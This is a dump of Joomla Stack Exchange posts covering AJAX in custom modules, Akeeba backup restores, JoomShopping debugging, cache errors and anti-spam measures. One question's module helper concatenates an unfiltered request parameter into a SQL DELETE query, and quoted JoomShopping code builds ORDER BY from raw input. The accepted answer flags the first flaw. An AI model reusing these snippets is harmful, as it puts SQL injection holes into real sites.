  <row Id="21392" PostTypeId="1" AcceptedAnswerId="21393" CreationDate="2017-08-22T16:06:17.127" Score="2" ViewCount="427" Body="&lt;p&gt;I have been trying to get my head around Joomla's com_ajax component for some time with a view to using it in my custom module. The module displays data from a component. One of the form fields is of type &lt;code&gt;sql&lt;/code&gt; and allows multiple items. My custom module uses a foreach loop to display these items. The items are stored in the table cell &lt;code&gt;savedproperties_sales&lt;/code&gt; as comma separated values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to have a delete button on each item which when pressed would delete that item from the database cell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my php function in my module helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModTusimpleprofileHelper&#xA;{&#xA;    public function deletePropertysales($propertyid)&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('savedproperties_sales') . ' = ' . $propertyid&#xA;        );&#xA;        $query-&amp;gt;delete($db-&amp;gt;quoteName('#__bdjupix_properties_sales'));&#xA;        $query-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;execute();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the JS in my module tmpl &gt; default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;( function($) {&#xA;$(document.body).on('click','.deleteproperty',function(){&#xA;    $.ajax({&#xA;        type: 'GET',&#xA;        url: &quot;index.php?option=com_ajax&amp;amp;module=mod_tusimple_profile&amp;amp;Itemid=148&amp;amp;method=deletePropertysales&amp;amp;propertyid=&quot;+$(this).data('propertyid'),&#xA;        success:function(data){&#xA;            alert('Property Deleted');&#xA;        },&#xA;        error:function(){&#xA;            alert('Property Not Deleted');&#xA;        }&#xA;    });  &#xA;});&#xA;} )( jQuery );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, this is my php to display the item and delete button, also in tmpl &gt; default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $savedproperties_sales = explode( ',', $profile-&amp;gt;savedproperties_sales ); ?&amp;gt;&#xA;&amp;lt;?php foreach ( $savedproperties_sales as $savedproperty_sales ) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery( true );&#xA;$query-&amp;gt;select( array( 'a.id', 'a.propertyid', 'a.displayaddress' ) )-&amp;gt;from( $db-&amp;gt;quoteName( '#__bdjupix_properties_sales', 'sales' ) )-&amp;gt;where( $db-&amp;gt;quoteName( 'sales.propertyid' ) . ' = '. $db-&amp;gt;quote( $savedproperty_sales ) );&#xA;$db-&amp;gt;setQuery( $query );&#xA;$results = $db-&amp;gt;loadObject();&#xA;?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php echo $results-&amp;gt;address; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;deleteproperty&quot;&amp;gt;Delete This Property&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The items display perfectly fine but as you can probably tell the ajax is all wrong. I have been playing with this for a long time now and getting nowhere so if anyone can help then I would be very grateful.&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="387" LastEditDate="2017-08-22T16:13:49.887" LastActivityDate="2017-08-23T11:41:02.473" Title="Custom Module delete from database with AJAX" Tags="|php|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21393" PostTypeId="2" ParentId="21392" CreationDate="2017-08-22T18:47:01.327" Score="2" Body="&lt;h1&gt;Security&lt;/h1&gt;&#xA;&lt;p&gt;Before anything else - I want to draw your attention on this:&lt;/p&gt;&#xA;&lt;p&gt;You are sending to the database unfiltered input from the users with the &lt;code&gt;$propertyId&lt;/code&gt;. No matter what other security may exist, you should be following best practices when writing code and never trust user input.&lt;/p&gt;&#xA;&lt;p&gt;Read here about writing secure code with Joomla and work on improving your code:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Secure Coding Guidelines&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#Constructing_SQL_queries&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Secure Coding Guideline: Constructing SQL Queries&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;For the AJAX:&lt;/h1&gt;&#xA;&lt;p&gt;The method you want to call through AJAX needs to be conventionally named, e.g. change:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function deletePropertysales($propertyid)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function deletePropertysalesAjax($propertyid)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also personally prefer to construct the call by passing the request data object. It's cleaner that way.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var propertyid = $(this).data('propertyid');&#xA;var request = {&#xA;    'option'    : 'com_ajax',&#xA;    'module'    : 'tusimple_profile',&#xA;    'propertyid': propertyid,&#xA;    'method'    : 'deletePropertysales',&#xA;};&#xA;&#xA;$.ajax({&#xA;    type    : 'POST',&#xA;    data    : request,&#xA;    success : function(response) {&#xA;        console.log(response.data);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Joomla Ajax in Module references:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/20554/using-ajax-in-a-custom-module-how-to-do-it?noredirect=1&amp;amp;lq=1&quot;&gt;Using AJAX in a custom module - how to do it?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/20565/sending-post-data-within-module-ajax&quot;&gt;Sending POST data within module - AJAX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Module&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-23T11:41:02.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21394" PostTypeId="1" CreationDate="2017-08-22T20:04:38.267" Score="2" ViewCount="86" Body="&lt;p&gt;I have Joomla 3.7.4 that runs in subdirectory /html/joomla374 of my webspace. Before upgrading to Joomla 3.7.5 I want to restore a recent backup file I created using latest Akeeba Backup extension. This backup shall be restored in subdirectory html/joomla375.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upload the jpa file to the joomla375 subdirectory &lt;/li&gt;&#xA;&lt;li&gt;Upload kickstart.php&lt;/li&gt;&#xA;&lt;li&gt;Create a new database to be used for Joomla running in joomla375&#xA;directory&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My concerns:&#xA;When I execute .../joomla375/kickstart.php and choose to write files directly, &lt;strong&gt;where will it write the files to?&lt;/strong&gt; To the root folder (i.e. html) or to the directory where the backup file resides (i.e. /html/joomla375)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: &lt;strong&gt;Will extracting the backup file in /html/joomla375 somehow affect my running Joomla in /html/joomla374?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="11462" LastEditorUserId="115" LastEditDate="2017-08-22T22:58:33.413" LastActivityDate="2017-08-24T12:59:15.707" Title="Will restoring backup file using Akeeba Kickstart in other subdirectory, affect my current Joomla installation?" Tags="|akeebabackup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21395" PostTypeId="2" ParentId="21394" CreationDate="2017-08-22T20:36:56.697" Score="3" Body="&lt;p&gt;The kickstart.php restoration script will extract the contents of the akeeba archive to the same location where the archive file is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation/akeeba-kickstart-documentation/using-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Kickstart documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="7024" LastEditDate="2017-08-24T12:59:15.707" LastActivityDate="2017-08-24T12:59:15.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21397" PostTypeId="1" CreationDate="2017-08-23T11:30:59.587" Score="1" ViewCount="615" Body="&lt;p&gt;I keep getting two messages on screen as soon as I enter my site &quot;&lt;a href=&quot;https://i.stack.imgur.com/6Nk11.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Nk11.png&quot; alt=&quot;FAILED LOADING XML&quot;&gt;&lt;/a&gt;&quot; or refresh a page after dismissing message and moving to a new tab, i.e from HOME to Subscribe. The site works 100%, the only problem is that messages. Link to live site: &lt;a href=&quot;http://cybersec.group&quot; rel=&quot;nofollow noreferrer&quot;&gt;CyberSec.group.&lt;/a&gt; I'm using Joomla 3.6.5 and the default Protostar template, together with a few additional addons, modules and components. The messages I get is not in any particular module, so it is kind of hard for me to pinpoint the problem.&lt;/p&gt;&#xA;" OwnerUserId="11443" LastActivityDate="2017-08-23T11:30:59.587" Title="Failed loading XML Start tag expected '&lt;' not found" Tags="|joomla-3.6|xml|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21398" PostTypeId="2" ParentId="21224" CreationDate="2017-08-23T14:42:20.890" Score="0" Body="&lt;p&gt;As far as I know, images are stored in the following paths (even in v1.0):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/images&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/templates/your_template/images&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template folder structure could be different.&#xA;The CSS stuff and the old HTML should be also in the template folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upgrading to 3.x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't do that. Install a fresh Joomla and rebuild the menu structure, copy the articles content, etc. Create a new J3 Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be a nightmare with a complex site. You need some knowledge of Joomla 3, PHP, HTML, CSS and manifest files. I recommend to get help from a freelancer or an agency who is familiar with Joomla 3. (Better than wasting your own time.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_basic_Joomla!_template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-23T14:42:20.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21399" PostTypeId="2" ParentId="21364" CreationDate="2017-08-23T15:32:11.007" Score="2" Body="&lt;p&gt;In your component controller, check the display function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = false)&#xA;{    &#xA;    //...&#xA;&#xA;    parent::display($cachable, $safeurlparams);&#xA;&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent::display(true, $safeurlparams);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And test again.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="4134" LastEditDate="2017-08-24T13:43:25.367" LastActivityDate="2017-08-24T13:43:25.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21400" PostTypeId="2" ParentId="21255" CreationDate="2017-08-23T16:49:29.030" Score="1" Body="&lt;p&gt;The only solution I have found to this is to use JCE (Joomla Content Editor) a third party text editor. When you  have JCE installed it intercepts the media manager call and displays the JCE media manager instead, which can see and understand PDFs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible other 3rd party editors also have this feature. There's currently no way to modify the built-in media manager to support non image formats in the limited version that the media field loads (without hacking the plugin)&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2017-08-23T16:49:29.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21401" PostTypeId="1" CreationDate="2017-08-23T20:56:42.333" Score="3" ViewCount="1200" Body="&lt;p&gt;I am following ine previous instructions to upgrade from 2.5.x to 2.5.28 in preparation to upgrade to 3.5.  Install, DB steps went fine. 2 package updates were fine, but when I try to do Gantry to 4.1.33, whether through update or install, it throws this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method JInstallerPackage::getManifest() in /home1/someuser/public_html/joomlatest/tmp/install_599de020ec6ed/install.php on line 75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11420" LastActivityDate="2017-12-15T13:46:50.680" Title="Trying to update gantry package, get this error" Tags="|gantry|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21402" PostTypeId="2" ParentId="18703" CreationDate="2017-08-24T13:35:41.153" Score="1" Body="&lt;p&gt;&lt;strong&gt;1. Is this loadFormData method used to load the form fields input when&#xA;    the page reload?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;loadFormData() populates the data array with the data stored in the session ( getUserState() ) or if empty from the database ( $this-&gt;getItem() ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_use_user_state_variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. How I can call and use this method in other part of my component?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just load the model: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('joomla.application.component.model');&#xA;JLoader::import( 'user', JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models' );&#xA;$your_model = JModelLegacy::getInstance('your_model','HelloWorldModel');&#xA;$formdata= $your_model-&amp;gt;yourFunction();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21191/component-in-module-addmodelpath-doesnt-seem-to-work/21196#21196&quot;&gt;Component in module. addModelPath doesn&amp;#39;t seem to work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loadFormData is a protected function, make it public or write a public function which calls your loadFormData() within the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/language.oop5.visibility.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/language.oop5.visibility.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Does this method keeps the input data even if the form is not&#xA;    submitted?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No. This would only work if you submit the form via Ajax to the session ( setUserState() ) while the user is still editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Where does JFactory::getApplication()-&gt;setUserState is done?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the save function of the model controller for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/search?p=1&amp;amp;q=setUserState%20&amp;amp;type=&amp;amp;utf8=%E2%9C%93&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/search?p=1&amp;amp;q=setUserState+&amp;amp;type=&amp;amp;utf8=%E2%9C%93&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if Joomla sets the form data to the user state automatically while loading / saving the form.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-24T13:35:41.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21403" PostTypeId="1" CreationDate="2017-08-24T14:28:33.217" Score="-1" ViewCount="176" Body="&lt;p&gt;On my site, one module is taking considerably longer to load than the other content on the page. I'm wondering if it's possible to delay the loading of this module? For example, after the page is loaded call a function to load the slow module part into its module position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11469" LastEditorUserId="115" LastEditDate="2017-08-24T23:18:56.533" LastActivityDate="2017-08-28T15:02:29.710" Title="Is it possible to load one module only after the whole page has loaded?" Tags="|php|module|joomla-3.4|module-display|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21404" PostTypeId="1" CreationDate="2017-08-24T15:18:43.660" Score="2" ViewCount="5023" Body="&lt;p&gt;&lt;strong&gt;Some background&lt;/strong&gt;:I am trying to debug a component(JoomShopping) which is not working correctly after I migrate 2.5 to 3.7 (I followed their migrate instruction and didn't encounter any problem during the upgrading process, but when I go to some certain page, there is a 1054 database error)&lt;a href=&quot;https://i.stack.imgur.com/6y3iJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6y3iJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&#xA;In my past experiences I can put var_dump anywhere to see the value of a variable. But this time it doesn't output anything. For example, I am trying to debug the 3rd item in the above picture(attribut.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JshoppingModelAttribut extends JshoppingModelBaseadmin{&#xA;&#xA;    protected $tableFieldOrdering = 'attr_ordering';&#xA;&#xA;    public function getNameAttribut($attr_id) {&#xA;        $db = JFactory::getDBO();&#xA;        $lang = JSFactory::getLang();&#xA;        $query = &quot;SELECT `&quot;.$lang-&amp;gt;get(&quot;name&quot;).&quot;` as name FROM `#__jshopping_attr` WHERE attr_id = '&quot;.$db-&amp;gt;escape($attr_id).&quot;'&quot;;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        return $db-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    public function getAllAttributes($result = 0, $categorys = null, $order = null, $orderDir = null){&#xA;        $lang = JSFactory::getLang();&#xA;        $db = JFactory::getDBO();&#xA;        $ordering = &quot;A.attr_ordering asc&quot;;&#xA;        if ($order &amp;amp;&amp;amp; $orderDir){&#xA;            $ordering = $order.&quot; &quot;.$orderDir;&#xA;        }&#xA;        $query = &quot;SELECT A.attr_id, A.`&quot;.$lang-&amp;gt;get(&quot;name&quot;).&quot;` as name, A.attr_type, A.attr_ordering, A.independent, A.allcats, A.cats, G.`&quot;.$lang-&amp;gt;get(&quot;name&quot;).&quot;` as groupname&#xA;                  FROM `#__jshopping_attr` as A left join `#__jshopping_attr_groups` as G on A.`group`=G.id&#xA;                  ORDER BY &quot;.$ordering;&#xA;        extract(js_add_trigger(get_defined_vars(), &quot;before&quot;));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        var_dump($db); //debug&#xA;        $list = $db-&amp;gt;loadObjectList();&#xA;        .......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The var_dump doesn't output anything. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I want to ask why this 1054 error doesn't get logged in PHP's error_log?&#xA;More importantly, how do I efficiently debug this component? (I post a question in the component's forum but I doubt I would get much help from there)&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2019-03-11T12:40:56.057" Title="Why does var_dump not output anything?" Tags="|joomla-3.x|component|debug|joomshopping|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21405" PostTypeId="1" AcceptedAnswerId="21408" CreationDate="2017-08-24T15:27:37.073" Score="1" ViewCount="1082" Body="&lt;p&gt;after updating the Joomla site (hosted on a server with php set to 7.0.18) from version 3.7.4 to version 3.7.5, I found the Radis cache set. I can not disable cache from global configuration, and any value I try to set in global configuration after clicking on the save button, shows error 500 that the system does not support the &quot;radis&quot; cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not even figure out whether it can depend on Akeeba admin tools or joomla core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any indication on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7532" LastEditorUserId="7532" LastEditDate="2017-08-24T15:37:33.797" LastActivityDate="2017-08-24T18:36:44.410" Title="Joomla 3.7.5 Disable Redis Cache" Tags="|joomla-3.x|cache|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21406" PostTypeId="1" CreationDate="2017-08-24T16:46:27.533" Score="0" ViewCount="1268" Body="&lt;p&gt;I have been experiencing spamming in my website for a long time, following are two things i want to stop - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.stopping fake/bad user registration &#xA;2.stopping posting bad topics in my kunena forum &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have captcha and registration confirmation email enabled when new users registers in my website, but still many fake users are registering, most of their emails ending in &lt;strong&gt;mail.ru&lt;/strong&gt; and &lt;strong&gt;yandex.com&lt;/strong&gt;. For this in my gmail account i am getting too many &lt;strong&gt;delivery incomplete&lt;/strong&gt; and &lt;strong&gt;registration pending approval&lt;/strong&gt; emails because most of those emails not exists and have many restrictions so that their registration is not being complete, i want to stop all these emails too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done many researches about how to stop them, i got users' ip addresses from k2 user list and added those ips in restricted list from my server control panel but all those ips different and how long i can do that?, I found recommendations from experts to use EasyCalcCheck extension but it's not free and i can't use it after installation, also i checked akeeba admin tools extension but did not see any settings for this yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing spinning in my mind if they were using bot when registering then could they pass captcha input restriction? so some measurements like putting hidden inputs and asking to answer questions before registering may not work because they are freaky minded human registering themselves not any bot or am i wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i need very strong suggestions about what to do to stop fake/bad user registrations(6/7 registration attempts on avg each day) and posting bad topics in kunena forum(on topic posting, i set &lt;em&gt;captcha challenge for users&lt;/em&gt; in kunena settings and tried other available settings). FYI i am using CB for registration.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I think this question is not exact duplicate of any other questions(like &lt;a href=&quot;https://joomla.stackexchange.com/questions/14047/how-to-stop-fake-users-from-registering-on-my-website&quot;&gt;this one&lt;/a&gt;), reasons are that i addressed two concerns that is not only to deal with fake/bad users but also to deal with posting bad topics in my kunena forum.Also there are differences between what I and other authors wanting to get by these questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are not many posts of this kind and it does not match exactly with any questions, so just keep it so that community gets benefitted from it.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="126" LastEditDate="2017-08-26T15:30:30.413" LastActivityDate="2017-08-26T15:30:30.413" Title="How to avoid frequent spammers in my Joomla site" Tags="|joomla-3.x|php|registration|kunena|community-builder|" AnswerCount="1" CommentCount="7" ClosedDate="2017-08-27T10:11:16.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="21407" PostTypeId="2" ParentId="21406" CreationDate="2017-08-24T18:21:36.943" Score="2" Body="&lt;p&gt;&lt;sub&gt;Note: This answer has been updated a few times.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;As answer to your comments:&lt;/p&gt;&#xA;&lt;p&gt;Hardly there will be so many real humans that will do nothing else than  creating a fake account to your site every day, so most likely these are bots.&lt;/p&gt;&#xA;&lt;p&gt;In addition, I don't think there is a way you can completely stop a real human from using something offered on your site.&lt;/p&gt;&#xA;&lt;p&gt;Though, &lt;a href=&quot;https://joomla.stackexchange.com/questions/14047/how-to-stop-fake-users-from-registering-on-my-website/14062#14062&quot;&gt;my answer&lt;/a&gt; on the other question that is proposed as a duplicate covers, what you need.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ProjectHoneyPot can help with bots and humans (with prior bad activity detected).&lt;/li&gt;&#xA;&lt;li&gt;AdminTools Pro: you can block certain email domains, e.g. mail.ru&lt;/li&gt;&#xA;&lt;li&gt;Bad Words Blacklists (admin tools pro).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;But again a real human, could use another email the next time.&#xA;Especially community-driven websites (e.g. social sites/blogs, forums etc) always need some sort of &lt;strong&gt;human moderation&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Take for example StackExchange network of sites. Although that huge network, it still depends on the community, the good will and the users and moderators to fight spam.&lt;/p&gt;&#xA;&lt;p&gt;I really can't think of a system that could be 100% accurate to detect a real human that would register to post spam.&lt;/p&gt;&#xA;&lt;p&gt;The final answer is a combination of actions you have to do, which mostly are described in my other answer.&lt;/p&gt;&#xA;&lt;p&gt;Eventually someone could build certain functionality to detect and block certain behaviors - but again this usually can't work without the behavior occurs first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14047/how-to-stop-fake-users-from-registering-on-my-website/14062#14062&quot;&gt;How to stop (fake) users from registering on my website?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Do note that there are other similar security/anti-spam services like ProjectHoneyPot. For example: &lt;a href=&quot;http://cloudflare.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;CloudFlare&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;http://sucuri.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Sucuri&lt;/strong&gt;&lt;/a&gt; offer extra layers of protection and many security related features.&lt;/p&gt;&#xA;&lt;p&gt;Also, do take into consideration @Lodder's comment below your question about the captcha version, the registration workflow (e.g. activation by email, or admin approval) and the script about auto-deleting non-activated users. I think Admin Tools Pro (inside the system plugin) provides this feature.&lt;/p&gt;&#xA;&lt;h3&gt;Another Update&lt;/h3&gt;&#xA;&lt;p&gt;Another tip is that you could block countries by IP, if your users are coming only from a certain country and the spam users come from others.&lt;/p&gt;&#xA;&lt;p&gt;Again I don't know of what other kind of answers your question can trigger, as it remains kinda broad and general. Also you haven't mentioned if you have implemented any of the possible solutions that have been suggested already and what the result was.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-26T15:29:26.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21408" PostTypeId="2" ParentId="21405" CreationDate="2017-08-24T18:36:44.410" Score="1" Body="&lt;p&gt;OK.. I SOLVED. I re-checked the configuration file, and in the end, I found an incorrect value in the folder path for saving the cache file (public $cache_path). So I deleted this value, I left the field empty, everything went back to work.&lt;/p&gt;&#xA;" OwnerUserId="7532" LastActivityDate="2017-08-24T18:36:44.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
